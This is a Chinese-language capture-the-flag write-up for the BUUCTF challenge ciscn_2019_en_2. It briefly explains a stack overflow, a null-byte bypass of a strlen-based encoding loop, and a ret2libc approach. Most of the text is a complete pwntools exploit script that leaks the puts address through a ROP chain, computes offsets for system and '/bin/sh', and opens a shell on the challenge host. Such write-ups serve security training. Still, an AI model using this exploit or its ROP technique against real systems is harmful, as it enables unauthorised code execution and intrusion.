BUUCTF—ciscn_2019_en_2
先看看开了什么保护机制

再去64位ida看看


三个功能,排除第三个退出,还有两个

看到这个代码发现第二个功能毛都没有,所以我们就要去看看第一个功能了

这个不错,有个栈溢出,不过那个for循环会把我们输入的数据修改,这时候我们注意到修改的长度是strlen决定的,这个函数是获得字符串长度,也就是说我们只需要字符串截断一下就行了,和之前那题一毛一样
然后去找找看有没有后门函数


得了,别说后门函数了,system和/bin/sh是一个都没有,那么这时候我们就要想着libc泄露了,还好puts还是在的地址随机化也没开,所以我们直接泄露puts的got表,然后去网站上找一下偏移就行了
from pwn import*
p=remote('node4.buuoj.cn',26527)
#p=process('./ciscn')
elf=ELF('./ciscn')
pop_rdi=0x400c83
ret=0x4006b9
code=0x4009a0
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
p.recvuntil('choice!\n')
p.sendline(str(1))
p.recvuntil('encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(code)
p.sendline(payload)
p.recvuntil('Ciphertext\n\n')
puts_add=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_add))
system=puts_add-0x31580
binsh=puts_add+0x1334da
p.recvuntil('encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()

浙公网安备 33010602011771号